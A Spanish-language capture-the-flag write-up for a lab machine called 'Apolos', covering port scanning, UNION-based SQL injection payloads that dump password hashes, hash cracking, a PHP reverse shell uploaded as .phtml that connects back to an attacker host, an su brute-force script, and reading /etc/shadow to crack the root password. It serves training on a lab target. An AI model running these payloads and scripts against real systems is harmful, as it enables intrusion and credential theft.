Writeup: **Apolos**

Zharaman

January 1, 2025

Contents

1 Introducción

Dificultad: Media
Fecha de Resolución: January 1, 2025
Objetivo: Explorar y explotar vulnerabilidades en un servidor HTTP para obtener acceso root.

2 Resumen General

La máquina **Apolos** presenta un servidor HTTP con vulnerabilidades que permiten realizar un ataque de inyección SQL, carga de archivos maliciosos y escalamiento de privilegios. Durante este proceso, se aplicaron técnicas de reconocimiento, enumeración, explotación y escalamiento de privilegios.

3 Reconocimiento

3.1 Escaneo de Puertos

Para identificar servicios expuestos en el objetivo, utilizamos scripts personalizados para realizar un escaneo de puertos y analizar los servicios correspondientes.

3.1.1 Comando 1: Escaneo de Puertos

Realizamos un escaneo de puertos en el rango completo (1-65535) utilizando la herramienta `nmap`. Este comando identifica puertos abiertos y servicios básicos asociados.

Comando ejecutado:

```
nmap -p- -T4 172.17.0.2
```

Salida del comando:

```
Starting Nmap 7.93 ( https://nmap.org ) at 2025-01-01 00:00 UTC
Nmap scan report for 172.17.0.2
Host is up (0.0010s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 12.45 seconds
```

Resultados del escaneo:

- Puertos abiertos identificados:
  - `80/tcp`: Servicio HTTP

3.1.2 Comando 2: Análisis de Servicios en Puertos Abiertos

Posteriormente, realizamos un análisis detallado de los puertos abiertos utilizando un escaneo más exhaustivo con `nmap` para identificar versiones de servicios y detalles adicionales.

Comando ejecutado:

```
nmap -sCV -p 80 172.17.0.2
```

Salida del comando:

```
Starting Nmap 7.93 ( https://nmap.org ) at 2025-01-01 00:01 UTC
Nmap scan report for 172.17.0.2
Host is up (0.0010s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works

Nmap done: 1 IP address (1 host up) scanned in 5.73 seconds
```

Resultados del análisis:

- Puerto 80:
  - Protocolo: TCP
  - Servicio: HTTP
  - Versión: Apache httpd 2.4.41
  - Detalles adicionales: Página predeterminada de Apache en Ubuntu

3.2 Enumeración Inicial

Accedimos al puerto 80 identificado en el escaneo inicial y exploramos la página web. No se encontró información relevante en la página principal, pero mediante técnicas de fuzzing HTTP, descubrimos varias rutas y archivos que proporcionaron puntos de entrada adicionales.

3.2.1 Fuzzing de Rutas

Utilizamos un script personalizado para realizar fuzzing en el servidor HTTP, utilizando un diccionario de rutas comunes. Este proceso identificó las siguientes rutas relevantes:

- Archivos PHP:
  - `/register.php`
  - `/login.php`
  - `/mycart.php`
- Directorios:
  - `/img`
  - `/uploads`
  - `/vendor`

Resumen del fuzzing: El fuzzing consistió en enviar solicitudes HTTP utilizando rutas del diccionario y registrando respuestas con códigos de estado `200 OK` (disponibles) o `403 Forbidden` (restringidas). Los resultados fueron almacenados en tiempo real en un archivo llamado $\texttt{http}_{s}can_{r}esults.txt$.

Conclusión: El proceso de reconocimiento permitió identificar el puerto 80 y múltiples rutas que sirvieron como puntos de partida para la explotación. Estas rutas y funcionalidades fueron clave para realizar los siguientes pasos en la explotación.

4 Explotación

4.1 Registro y Acceso

Para comenzar el proceso de explotación, fue necesario crear una cuenta a través del archivo register.php. Los pasos realizados fueron los siguientes:

1. Accedimos a la funcionalidad de registro en /register.php.
2. Creación de un nuevo usuario con los siguientes datos de ejemplo:
   - Nombre de usuario: PEPE
   - Contraseña: PEPE
3. Confirmamos el registro y utilizamos las credenciales recién creadas para iniciar sesión en /login.php.
4. Al acceder, exploramos las funcionalidades disponibles y encontramos la sección Mi Carrito, que redirige al archivo mycart.php.

4.2 Inyección SQL

Encontramos un campo de búsqueda vulnerable en la funcionalidad "Mi Carrito", específicamente en el archivo mycart.php. Para verificar la vulnerabilidad, utilizamos el siguiente payload:

```
1 'union select 1,2,3,4,5 -- -
```

Explicación técnica:

1. El payload utiliza la cláusula UNION SELECT para combinar los resultados de la consulta legítima con una consulta controlada por el atacante.
2. Los números 1,2,3,4,5 representan columnas ficticias que alinean la estructura de la consulta inyectada con la consulta original.
3. La página web mostró un nuevo elemento con un título correspondiente al valor de la segunda columna del payload. Por ejemplo, el valor 2 apareció como el título del nuevo elemento.

Reemplazamos el valor 2 con la función database() en el payload para obtener el nombre de la base de datos:

```
1 'union select 1,database(),3,4,5 -- -
```

Esto reveló que el nombre de la base de datos es apple_store.

4.2.1 Enumeración de la Base de Datos

A continuación, enumeramos las tablas presentes en la base de datos utilizando el siguiente payload:

```
'union select 1,group_concat(table_name),3,4,5 from information_schema.
   tables where table_schema=database() -- -
```

Esto permitió identificar las tablas relevantes: productos y users.

Luego, enumeramos las columnas de la tabla users con este payload:

```
'union select 1,group_concat(column_name),3,4,5 from information_schema
   .columns where table_name='users' -- -
```

El resultado indicó que la tabla users contiene las columnas id, username, y password, entre otras.

Finalmente, extrajimos los datos de la tabla users con el siguiente payload:

```
'union select 1,group_concat(username,0x3a,password),3,4,5 from users
   -- -
```

Credenciales extraídas:

- luisillo: 761bb015d7254610f89d9a7b6b152f1df2027e0a
- admin: 7f73ae7a9823a66efcddd10445804f7d124cd8b0
- pepe: 3d72e9967fe1a33d2ba707551bec221eca7ebebf
- test: a94a8fe5ccb19ba61c4c0873d391e987982fbbd3

Estas credenciales, específicamente la de admin, nos proporcionaron acceso al panel de administración, donde pudimos avanzar con la explotación.

4.3 Crackeo de Hashes

Se utilizó la herramienta CrackStation para descifrar el hash de admin:

```
Hash: 7f73ae7a9823a66efcddd10445804f7d124cd8b0
Contrase a: 0844575632
```

4.4 Acceso al Panel de Administración

Después de descifrar las credenciales del usuario admin, utilizamos las siguientes credenciales para iniciar sesión en la aplicación:

- Usuario: admin
- Contraseña: 0844575632

Al acceder con éxito, se nos redirige al perfil del usuario administrador en /profile.php. Este perfil muestra información básica del administrador, incluyendo:

- ID de Usuario

- Dirección de correo electrónico
- Dirección física y número de teléfono

En la misma página, encontramos un enlace titulado Ir al Panel de Administración, el cual redirige al archivo /admin_dashboard.php.

4.5 Exploración del Panel de Administración

Dentro del panel de administración (/admin_dashboard.php), identificamos varias secciones importantes:

- Estadísticas Generales:
  - Total de usuarios registrados.
  - Productos en inventario.
  - Pedidos pendientes.
- Pedidos Recientes: Listado de pedidos con su estado (pendiente, completado, cancelado).
- Opciones de Configuración: Enlace a la página /adm_configuration.php, donde se pueden realizar configuraciones adicionales.

4.6 Funcionalidad de Subida de Archivos

Al acceder a la página de configuración (/adm_configuration.php), encontramos un formulario para la subida de archivos. Este formulario permite:

- Seleccionar un archivo para cargar desde el sistema local.
- Proporcionar un destinatario, un asunto y un mensaje opcional.
- Enviar el formulario presionando el botón "Enviar".

El análisis del formulario reveló que no se aplican restricciones sobre los tipos de archivo permitidos. Esto nos permitió cargar un archivo malicioso (reverse_shell.php) que, al ejecutarse, estableció una conexión inversa hacia nuestra máquina atacante.

4.7 Subida de Archivo Malicioso y Obtención de Reverse Shell

Tras autenticar con éxito en el panel de administración utilizando las credenciales del usuario admin, identificamos una funcionalidad de subida de archivos localizada en /adm_configuration.php. Esta funcionalidad permite a los administradores cargar archivos en el servidor, almacenándolos en el directorio público /uploads.

Después de realizar múltiples pruebas con diferentes extensiones de archivo, determinamos que el formulario no aplicaba restricciones estrictas en los tipos de archivo permitidos. Aunque formatos como .html fueron rechazados, se logró cargar un archivo con extensión .phtml, el cual es interpretado como código ejecutable por el servidor web debido a la configuración del entorno.

Esta falta de validación adecuada en el lado del servidor representa una vulnerabilidad crítica, ya que permite cargar y ejecutar scripts maliciosos directamente en el servidor. Al aprovechar esta vulnerabilidad, se diseñó y cargó un archivo reverse shell con extensión .phtml, logrando establecer una conexión inversa hacia el sistema atacante para obtener acceso inicial al servidor con privilegios de usuario www-data.

4.7.1 Creación del Archivo Malicioso

Creamos un archivo reverseshell.phtml con el siguiente contenido, que establece una reverse shell al ser ejecutado:

```
<?php
$ip = '172.17.0.1';  // Direcci n IP del atacante
$port = 4444;        // Puerto en el que escuchar  la conexi n
$sock = fsockopen($ip, $port);
if ($sock) {
    $proc = proc_open('/bin/sh', array(
        0 => $sock,
        1 => $sock,
        2 => $sock
    ), $pipes);
    if (is_resource($proc)) {
        proc_close($proc);
    }
    fclose($sock);
}
?>
```

Este archivo utiliza fsockopen para establecer una conexión con el equipo atacante y ejecutar un shell interactivo.

4.7.2 Carga del Archivo

El archivo reverseshell.phtml fue cargado exitosamente mediante el formulario de subida de archivos, como se muestra en la siguiente ruta del servidor:

- URL del archivo cargado: http://172.17.0.2/uploads/reverseshell.phtml

4.7.3 Ejecución de la Reverse Shell

Desde el equipo atacante, configuramos un listener en el puerto 4444 utilizando netcat:

```
nc -lvnp 4444
```

Posteriormente, accedimos a la URL del archivo malicioso cargado, lo que ejecutó la reverse shell y estableció la conexión con el servidor vulnerable. La sesión obtenida es la del usuario www-data, como se muestra a continuación:

```
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 42046
whoami
www-data
```

4.7.4 Impacto de la Vulnerabilidad

Esta vulnerabilidad permitió obtener acceso inicial al sistema con privilegios de usuario web (www-data), lo que habilita la posibilidad de explorar el servidor y escalar privilegios en los siguientes pasos.

5 Escalada de Privilegios

Una vez que obtuvimos acceso inicial al sistema como el usuario www-data, procedimos a realizar una escalada de privilegios para adquirir acceso a cuentas con mayores permisos. Este proceso involucró la identificación de usuarios adicionales, la explotación de configuraciones erróneas y la obtención de contraseñas mediante ataques de fuerza bruta.

5.1 Identificación de Usuarios del Sistema

El primer paso consistió en explorar el sistema para identificar otros usuarios disponibles. Utilizamos el siguiente comando para listar los directorios en /home, que generalmente contienen carpetas de usuarios:

```
ls /home
luisillo_o  ubuntu
```

Este resultado confirmó la existencia de dos usuarios: luisillo_o y ubuntu. Seleccionamos luisillo_o como objetivo para nuestra escalada de privilegios, ya que su cuenta parecía ser utilizada activamente y probablemente tuviera permisos más elevados.

5.2 Ataque de Fuerza Bruta para Obtener la Contraseña de luisillo_o

Dado que no había contraseñas disponibles para el usuario luisillo_o, diseñamos un ataque de fuerza bruta utilizando un script personalizado. Este script prueba contraseñas de un diccionario (como rockyou.txt) contra la cuenta objetivo. Los pasos realizados fueron los siguientes:

1. Preparamos el diccionario de contraseñas comúnmente utilizado, rockyou.txt.
2. Ejecutamos el siguiente script, diseñado para automatizar el proceso de fuerza bruta:

```
#!/bin/bash

# Mostrar ayuda en caso de argumentos insuficientes
mostrar_ayuda() {
    echo -e "\e[1;33mUso: $0 USUARIO DICCIONARIO"
    echo -e "\e[1;31mSe deben especificar tanto el nombre de
       usuario como el archivo de diccionario.\e[0m"
    exit 1
}

# Funci n para finalizar el script
finalizar() {
    echo -e "\e[1;31m\nFinalizando el script\e[0m"
```

```
    exit
}

trap finalizar SIGINT

usuario=$1
diccionario=$2

if [[ $# != 2 ]]; then
    mostrar_ayuda
fi

while IFS= read -r password; do
    echo "Probando contrase a: $password"
    if timeout 0.1 bash -c "echo '$password' | su $usuario -c 'echo Hello'" > /dev/null 2>&1; then
        clear
        echo -e "\e[1;32mContrase a encontrada para el usuario $usuario: $password\e[0m"
        break
    fi
done < "$diccionario"
```

3. Ejecutamos el script con los parámetros correspondientes:

```
bash brute_force_su.sh luisillo_o rockyou.txt
```

4. El script probó múltiples contraseñas hasta encontrar la correcta:

```
Contrase a encontrada para el usuario luisillo_o: 19831983
```

5.3 Cambio al Usuario luisillo_o

Con la contraseña descubierta, utilizamos el siguiente comando para cambiar al usuario luisillo_o:

```
su luisillo_o
```

Tras autenticarnos exitosamente como luisillo_o, exploramos sus privilegios y configuraciones para identificar posibles rutas hacia la escalada a root. La siguiente subsección detalla los hallazgos y los pasos posteriores para completar la escalada de privilegios.

Este acceso permitió explorar los privilegios adicionales del usuario luisillo_o para continuar con la escalación de privilegios hacia root.

5.4 Escalación de Privilegios a root

Tras haber accedido como el usuario luisillo_o, identificamos que este usuario pertenecía al grupo shadow, lo que le permitía leer el archivo /etc/shadow. Este archivo contiene los hashes de las contraseñas de todos los usuarios del sistema, incluyendo root. Los pasos realizados para completar la escalación de privilegios fueron los siguientes:

1. Confirmamos que el usuario luisillo_o tenía acceso al grupo shadow y verificamos los permisos de lectura del archivo /etc/shadow:

```
id
uid=1001(luisillo_o) gid=1001(luisillo_o) groups=1001(
    luisillo_o),42(shadow)
cat /etc/shadow
```

   La salida confirmó que podíamos leer el archivo y extrajimos el hash de la contraseña del usuario root:

```
root:$y$j9T$awXWvi2tYABg05kreZcIi/$obvQc0Amd6lFWbwfElQhZD6vpJN/
    AEV8/hZMXL
```

2. Guardamos el hash extraído en un archivo denominado hash.txt para facilitar su posterior análisis:

```
echo "root:$y$j9T$awXWvi2tYABg05kreZcIi/
    $obvQc0Amd6lFWbwfElQhZD6vpJN/AEV8/hZMXL" > hash.txt
```

3. Utilizamos la herramienta john para crackear el hash y obtener la contraseña en texto plano:

```
john --show hash.txt
root:rainbow2
1 password hash cracked, 0 left
```

   El resultado indicó que la contraseña de root era rainbow2.

4. Con la contraseña obtenida, cambiamos al usuario root mediante el comando su:

```
su root
whoami
root
```

5. Verificamos que teníamos privilegios completos en el sistema:

```
id
uid=0(root) gid=0(root) groups=0(root)
```

Esta escalación de privilegios nos permitió obtener acceso completo al sistema como root, logrando así el objetivo final de la explotación.